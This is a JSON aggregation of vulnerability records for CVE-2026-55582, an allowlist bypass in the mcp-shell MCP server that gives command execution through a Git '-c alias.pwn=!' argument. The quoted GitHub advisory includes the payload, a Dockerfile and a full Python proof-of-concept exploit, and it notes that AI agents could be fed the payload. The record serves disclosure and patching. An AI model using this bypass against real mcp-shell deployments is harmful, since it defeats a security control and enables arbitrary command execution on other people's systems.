{"id":"GHSA-74hp-mggr-hv58","revision":null,"records":[{"revision":"905879bb833e4d73947515fb9e4c06b7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55582","aliases":[],"title":"mcp-shell: Secure Mode Allowlist Bypass via Git Shell Alias","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default security.yaml allows /usr/bin/git, while security.go omits ! from containsShellMetacharacters and containsDangerousShellConstructs and applies no per-executable argument policy. A caller of the shell_exec MCP tool can provide the command argument /usr/bin/git -c alias.pwn=!<arbitrary-command>, causing Git to create a shell alias and execute arbitrary OS commands as the mcp-shell process user. The default Docker image runs as mcpuser with Git installed and secure mode enabled, so the bypass is exploitable in the default deployment without additional authentication beyond MCP connectivity. This issue is fixed in version 0.6.0.","state":0,"publishedAt":"2026-08-25T15:37:43.486+00:00","modifiedAt":"2026-08-28T22:28:54.025+00:00","affected":[{"ecosystem":"Vendor product","name":"mcp-shell","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"sonirico\",\n                    \"product\": \"mcp-shell\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.6.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"severity":"HIGH"}],"references":["https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58","https://github.com/sonirico/mcp-shell/pull/16","https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f","https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55582","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55582","identifiers":["CVE-2026-55582"]},"retained":false,"historicalAffected":[]},{"revision":"c4093a8e92bb4fe19f7aae6b6b537873","observedAt":"2026-11-18T03:36:05.182+00:00","statement":{"source":"euvd","id":"EUVD-2026-65548","aliases":["CVE-2026-55582","GHSA-74hp-mggr-hv58"],"title":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default security.yaml allows /usr/bin/git, while security.go omits ! from containsShellMetacharacters and containsDangerousShellCo…","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default security.yaml allows /usr/bin/git, while security.go omits ! from containsShellMetacharacters and containsDangerousShellConstructs and applies no per-executable argument policy. A caller of the shell_exec MCP tool can provide the command argument /usr/bin/git -c alias.pwn=!<arbitrary-command>, causing Git to create a shell alias and execute arbitrary OS commands as the mcp-shell process user. The default Docker image runs as mcpuser with Git installed and secure mode enabled, so the bypass is exploitable in the default deployment without additional authentication beyond MCP connectivity. This issue is fixed in version 0.6.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"severity":null}],"references":["https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58","https://github.com/sonirico/mcp-shell/pull/16","https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f","https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-65548","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 25, 2026, 3:37:43 PM","dateUpdated":"Aug 28, 2026, 10:28:54 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-65548","identifiers":["EUVD-2026-65548","CVE-2026-55582","GHSA-74hp-mggr-hv58"]},"retained":false,"historicalAffected":[]},{"revision":"3147ff5e39f34df99ac5464942d2e6e3","observedAt":"2026-10-25T14:19:05.298+00:00","statement":{"source":"nvd","id":"CVE-2026-55582","aliases":[],"title":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default security.yaml allows /usr/bin/git, while security.go omits ! from containsShellMetacharacters and containsDangerousShellCo…","description":"mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default security.yaml allows /usr/bin/git, while security.go omits ! from containsShellMetacharacters and containsDangerousShellConstructs and applies no per-executable argument policy. A caller of the shell_exec MCP tool can provide the command argument /usr/bin/git -c alias.pwn=!<arbitrary-command>, causing Git to create a shell alias and execute arbitrary OS commands as the mcp-shell process user. The default Docker image runs as mcpuser with Git installed and secure mode enabled, so the bypass is exploitable in the default deployment without additional authentication beyond MCP connectivity. This issue is fixed in version 0.6.0.","state":0,"publishedAt":"2026-08-25T16:16:55.65+00:00","modifiedAt":"2026-09-09T21:07:31.353+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"severity":"HIGH"}],"references":["https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f","https://github.com/sonirico/mcp-shell/pull/16","https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0","https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55582","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78"],"productCriteria":[],"sourceDates":{"published":"2026-08-25T16:16:55.650","lastModified":"2026-09-09T21:07:31.353"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55582","identifiers":["CVE-2026-55582"]},"retained":false,"historicalAffected":[]},{"revision":"dbfb3d6dbfcf4bca9eac9c82b635d92d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-74hp-mggr-hv58","aliases":["CVE-2026-55582","GO-2026-6291"],"title":"mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias","description":"### Summary\n\n`mcp-shell`'s \"secure mode\" is designed to restrict command execution to an allowlist of executables defined in `security.yaml`. The default configuration includes `/usr/bin/git`. The security validator in `security.go` blocks common shell metacharacters (`|&;<>(){}[]$\\``) but omits `!`, which is the prefix Git uses to execute shell aliases (`alias.NAME=!CMD`). An attacker who can invoke the `shell_exec` MCP tool can pass `/usr/bin/git -c alias.pwn=!<arbitrary-command>` as the command argument, bypassing all validation and achieving arbitrary OS command execution as the `mcp-shell` process user. The default Docker image runs as `mcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.\n\n### Details\n\nThe vulnerability is a classic OS Command Injection (CWE-78) in the `shell_exec` MCP tool handler. The data flow from attacker input to shell execution is:\n\n1. **`main.go:89-91`** — The MCP tool schema exposes a required string parameter `command` with no server-side type constraints.\n2. **`main.go:102`** — `shell_exec` is bound to `shellHandler.handle`.\n3. **`handler.go:34`** — The handler reads the attacker-controlled value: `command, err := request.RequireString(\"command\")`.\n4. **`handler.go:49`** — The command string is passed to `h.validator.validateCommand(command)`.\n5. **`security.go:136`** — `containsShellMetacharacters` checks for `|&;<>(){}[]$\\`` but `!` is absent from the blocked set.\n6. **`security.go:147-149`** — `containsDangerousShellConstructs` also does not include `!`.\n7. **`security.go:85-96`** — `/usr/bin/git` matches `AllowedExecutables`; no per-argument policy exists for Git. The `blocked_patterns` list in `security.yaml:35` is empty (`[]`).\n8. **`handler.go:59`** — The fully validated (but unsafe) command is forwarded to `h.executor.execute`.\n9. **`executor.go:149-163`** — `parseCommand` splits the string with `strings.Fields`; `exec.CommandContext(ctx, executable, args...)` is called with `executable=\"/usr/bin/git\"` and `args=[\"-c\", \"alias.pwn=!touch\", \"pwn\", \"/tmp/target\"]`.\n10. **`executor.go:199`** — `cmd.Run()` launches `git`. Git interprets `-c alias.pwn=!touch` as a runtime configuration entry, defining the alias `pwn` as the shell command `touch`. When Git resolves the subcommand `pwn`, it triggers the shell alias: `sh -c 'touch \"$@\"' _ /tmp/target`, creating the file.\n\nThe root cause is the missing `!` in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's `-c alias.*=!` pattern.\n\nIncriminated source locations:\n- `security.go:136` — metacharacter set missing `!`\n- `security.go:147-149` — `containsDangerousShellConstructs` missing `!`\n- `security.yaml:27` — `/usr/bin/git` in `allowed_executables`\n- `security.yaml:35` — `blocked_patterns: []`\n- `executor.go:149-163,199` — direct `exec.CommandContext` invocation with unsanitized Git arguments\n\n### PoC\n\n**Prerequisites:**\n- Docker installed and the `mcp-shell-vuln-001` image built from the provided `Dockerfile` (repo root as build context, commit `c30862f`).\n- Python 3 to run `poc.py`.\n\n**Build the Docker image:**\n\n```bash\ndocker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n```\n\n**Run the PoC:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\nThe script performs the full MCP JSON-RPC handshake over stdin and sends the following `tools/call` request:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"shell_exec\",\n    \"arguments\": {\n      \"command\": \"/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc\",\n      \"base64\": false\n    }\n  }\n}\n```\n\nThe container's `/tmp` is bind-mounted to a host temporary directory so the evidence file can be observed on the host without `docker exec`.\n\n**Expected result:**\n\n- MCP response: `{\"status\":\"success\",\"exit_code\":0,\"execution_time\":\"~3ms\",\"security_info\":{\"security_enabled\":true,...}}`\n- Evidence file created at `<host_tmp>/mcp-shell-mcp-poc` with `uid=1000` (mcpuser), confirming arbitrary shell command execution inside the container.\n\n**Validation bypass explanation:**\n\n| Check | Value tested | Result |\n|---|---|---|\n| `containsShellMetacharacters` | `alias.pwn=!touch` | `false` — `!` not in blocklist |\n| `containsDangerousShellConstructs` | `alias.pwn=!touch` | `false` — `!` not in blocklist |\n| `matchesExecutable` | `/usr/bin/git` | `true` — in `AllowedExecutables` |\n\nAll checks pass; `git` receives `alias.pwn=!touch` as a config entry and executes `touch` as a shell alias.\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any entity that can issue an MCP `tools/call` request to a `mcp-shell` instance running with the default Docker configuration can execute arbitrary OS commands as the `mcpuser` process account (UID 1000) inside the container.\n\nThe default Docker deployment sets `MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml`, installs `git`, and runs as `mcpuser`. The `shell_exec` tool requires no additional authentication beyond MCP connectivity. \"Secure mode\" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.\n\nImpacted parties:\n- **Users and operators** who deploy the default `mcp-shell` Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network).\n- **AI agent systems** that integrate `mcp-shell` as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the `command` argument.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias\n# CWE-78: OS Command Injection\n#\n# This Dockerfile reproduces the exact default Docker deployment environment of\n# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.\n#\n# Vulnerability summary:\n#   - security.yaml allows /usr/bin/git in allowed_executables\n#   - The security validator (security.go) does not block '!' in arguments\n#   - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command\n#   - This bypasses \"secure mode\" and achieves arbitrary command execution\n#\n# Build context must be the repo parent directory:\n#   docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n\n# Stage 1: Build the mcp-shell binary from the vulnerable source\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git ca-certificates\n\nWORKDIR /src\n\n# Download dependencies before copying source for better layer caching\nCOPY repo/go.mod repo/go.sum ./\nRUN go mod download\n\n# Copy and build the vulnerable source\nCOPY repo/*.go ./\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n    -ldflags \"-s -w\" \\\n    -o mcp-shell .\n\n# Stage 2: Runtime environment matching the default mcp-shell Docker image\nFROM alpine:3.22\n\n# Install git — this is what the default Dockerfile does (apk add git),\n# and it is what makes the exploit possible: /usr/bin/git is present and\n# the security config allows it.\nRUN apk add --no-cache bash git\n\n# Create non-root user matching the default Docker image\nRUN addgroup -g 1000 mcpuser && \\\n    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\n# Install the mcp-shell binary\nCOPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell\n\n# Install the default (vulnerable) security configuration.\n# Key properties that enable the exploit:\n#   allowed_executables includes /usr/bin/git\n#   blocked_patterns is empty\n#   security.go does not list '!' in blocked metacharacters\nCOPY repo/security.yaml /etc/mcp-shell/security.yaml\n\n# Replicate the default environment variables from the repo Dockerfile\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV MCP_SHELL_LOG_FORMAT=json\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /home/mcpuser\n\n# mcp-shell reads JSON-RPC over stdin and writes responses to stdout\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias\nRepository:  sonirico/mcp-shell (commit c30862f)\nCWE-78:      OS Command Injection\n\nVulnerability:\n    mcp-shell \"secure mode\" uses security.yaml to allowlist executables.\n    The default config allows /usr/bin/git.  The security validator in\n    security.go checks for metacharacters (|&;<>(){}[]$`\\\\) but does NOT\n    include '!' in the blocked set.  Git's -c flag accepts runtime config\n    overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs\n    CMD as a shell command when 'NAME' is used as a git subcommand.\n\nExploit payload (MCP tools/call -> shell_exec argument):\n    /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc\n\n    Validation path (all checks pass):\n      containsShellMetacharacters(\"alias.pwn=!touch\")  -> False  (! not in set)\n      containsDangerousShellConstructs(\"alias.pwn=!touch\") -> False (! not in set)\n      matchesExecutable(\"/usr/bin/git\", \"/usr/bin/git\") -> True\n\n    Execution path:\n      exec.CommandContext(ctx, \"/usr/bin/git\",\n          \"-c\", \"alias.pwn=!touch\", \"pwn\", \"/tmp/mcp-shell-mcp-poc\")\n      -> git defines alias pwn = !touch\n      -> git runs subcommand \"pwn\" -> triggers shell alias\n      -> sh -c 'touch \"$@\"' _ /tmp/mcp-shell-mcp-poc\n      -> file /tmp/mcp-shell-mcp-poc is created\n\nEvidence method:\n    The container's /tmp is bind-mounted to a host temporary directory.\n    After the MCP call, verify the evidence file exists on the host.\n\nUsage:\n    # From the repo parent directory:\n    docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n    python3 vuln-001/poc.py\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport stat\n\nIMAGE_NAME = \"mcp-shell-vuln-001\"\nEVIDENCE_FILENAME = \"mcp-shell-mcp-poc\"\nEXPLOIT_TARGET = f\"/tmp/{EVIDENCE_FILENAME}\"\n\n# MCP JSON-RPC protocol requires:\n#   1. initialize handshake (client -> server)\n#   2. notifications/initialized acknowledgement\n#   3. tools/call with the exploit payload\nMCP_INITIALIZE = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"1.0.0\"},\n    },\n})\n\nMCP_INITIALIZED = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"method\": \"notifications/initialized\",\n})\n\n# The malicious command:\n#   /usr/bin/git    - allowed by security.yaml AllowedExecutables\n#   -c alias.pwn=!touch  - git runtime config; ! prefix = shell alias\n#                          NOT blocked: '!' absent from security.go metachars\n#   pwn             - triggers the alias (git subcommand lookup)\n#   /tmp/<file>     - argument forwarded to touch by git shell alias\nMCP_EXPLOIT = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"shell_exec\",\n        \"arguments\": {\n            \"command\": f\"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}\",\n            \"base64\": False,\n        },\n    },\n})\n\n\ndef run(args, **kwargs):\n    print(f\"[*] {' '.join(str(a) for a in args)}\")\n    return subprocess.run(args, **kwargs)\n\n\ndef parse_mcp_response(stdout_text):\n    \"\"\"Parse newline-delimited JSON-RPC responses, return the tools/call result.\"\"\"\n    for line in stdout_text.splitlines():\n        line = line.strip()\n        if not line:\n            continue\n        try:\n            msg = json.loads(line)\n            if msg.get(\"id\") == 2:\n                return msg\n        except json.JSONDecodeError:\n            pass\n    return None\n\n\ndef main():\n    print(\"=\" * 62)\n    print(\"VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias\")\n    print(\"=\" * 62)\n    print()\n\n    # Create a host-side temporary directory that will be bind-mounted\n    # as /tmp inside the container.  This lets us observe file creation\n    # caused by the git shell alias without needing 'docker exec'.\n    host_tmp = tempfile.mkdtemp(prefix=\"mcp-vuln001-\")\n    # Allow UID 1000 (mcpuser inside the container) to write files here.\n    os.chmod(host_tmp, 0o1777)\n    evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)\n\n    print(f\"[*] Host bind-mount (-> /tmp inside container): {host_tmp}\")\n    print(f\"[*] Expected evidence file on host: {evidence_host_path}\")\n    print()\n    print(f\"[*] Exploit command (shell_exec argument):\")\n    print(f\"      /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}\")\n    print()\n\n    # Build the newline-delimited JSON-RPC payload sent over stdin.\n    # mcp-shell reads one JSON object per line.\n    payload_bytes = (\n        MCP_INITIALIZE + \"\\n\" +\n        MCP_INITIALIZED + \"\\n\" +\n        MCP_EXPLOIT + \"\\n\"\n    ).encode()\n\n    print(\"[*] Sending MCP JSON-RPC payload to container via stdin ...\")\n    try:\n        proc = run(\n            [\n                \"docker\", \"run\",\n                \"--rm\",            # Remove container on exit\n                \"-i\",              # Keep stdin open for piped input\n                \"--network=none\",  # No external network access (safety)\n                \"-v\", f\"{host_tmp}:/tmp\",   # Expose container's /tmp on host\n                IMAGE_NAME,\n            ],\n            input=payload_bytes,\n            capture_output=True,\n            timeout=40,\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[FAIL] docker run timed out after 40 seconds\")\n        sys.exit(1)\n    except FileNotFoundError:\n        print(\"[FAIL] 'docker' not found — install Docker to run this PoC\")\n        sys.exit(1)\n\n    stdout = proc.stdout.decode(errors=\"replace\")\n    stderr = proc.stderr.decode(errors=\"replace\")\n\n    print()\n    print(\"[*] Container stdout (MCP responses):\")\n    for line in stdout.splitlines():\n        print(f\"    {line}\")\n\n    if stderr.strip():\n        print(\"[*] Container stderr:\")\n        for line in stderr.splitlines():\n            print(f\"    {line}\")\n\n    print()\n\n    # Locate and pretty-print the tools/call MCP response.\n    exploit_response = parse_mcp_response(stdout)\n    if exploit_response:\n        print(\"[*] MCP tools/call response (id=2):\")\n        print(json.dumps(exploit_response, indent=4))\n        print()\n\n    # --- Primary evidence check ---\n    if os.path.exists(evidence_host_path):\n        st = os.stat(evidence_host_path)\n        print(f\"[PASS] Evidence file found on host: {evidence_host_path}\")\n        print(f\"       size={st.st_size}  mode={oct(st.st_mode)}  uid={st.st_uid}\")\n        print()\n        print(\"[PASS] EXPLOIT SUCCESSFUL\")\n        print(\"       'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container\")\n        print(\"       by the git shell alias, bypassing mcp-shell secure mode.\")\n        passed = True\n        evidence = (\n            f\"File '{evidence_host_path}' created on host via /tmp volume mount. \"\n            f\"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. \"\n            f\"MCP response: {json.dumps(exploit_response) if exploit_response else 'n/a'}\"\n        )\n    else:\n        print(f\"[FAIL] Evidence file NOT found at: {evidence_host_path}\")\n        print(\"[FAIL] EXPLOIT FAILED\")\n        if exploit_response:\n            result_content = exploit_response.get(\"result\", {})\n            print(f\"       MCP result: {json.dumps(result_content)}\")\n        passed = False\n        evidence = (\n            f\"Evidence file was not created. \"\n            f\"stdout={stdout[:600]!r} stderr={stderr[:300]!r}\"\n        )\n\n    print()\n    return passed, evidence\n\n\nif __name__ == \"__main__\":\n    passed, evidence = main()\n    sys.exit(0 if passed else 1)\n```","state":0,"publishedAt":"2026-08-25T15:39:05+00:00","modifiedAt":"2026-08-26T15:41:19.2356883+00:00","affected":[{"ecosystem":"Go","name":"github.com/sonirico/mcp-shell","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.6.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58","https://github.com/sonirico/mcp-shell/pull/16","https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f","https://github.com/sonirico/mcp-shell","https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"],"sourceUrl":"https://github.com/advisories/GHSA-74hp-mggr-hv58","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-74hp-mggr-hv58","identifiers":["GHSA-74hp-mggr-hv58","CVE-2026-55582","GO-2026-6291"]},"retained":false,"historicalAffected":[]},{"revision":"47b5cd31f0994a98a71542e7addea31b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6291","aliases":["CVE-2026-55582","GHSA-74hp-mggr-hv58"],"title":"mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias in github.com/sonirico/mcp-shell","description":"mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias in github.com/sonirico/mcp-shell","state":0,"publishedAt":"2026-08-26T14:57:42+00:00","modifiedAt":"2026-08-26T15:30:06.1609048+00:00","affected":[{"ecosystem":"Go","name":"github.com/sonirico/mcp-shell","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.6.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58","https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f","https://github.com/sonirico/mcp-shell/pull/16","https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6291","license":"OSV · upstream source license applies","key":"osv:GO-2026-6291","identifiers":["GO-2026-6291","CVE-2026-55582","GHSA-74hp-mggr-hv58"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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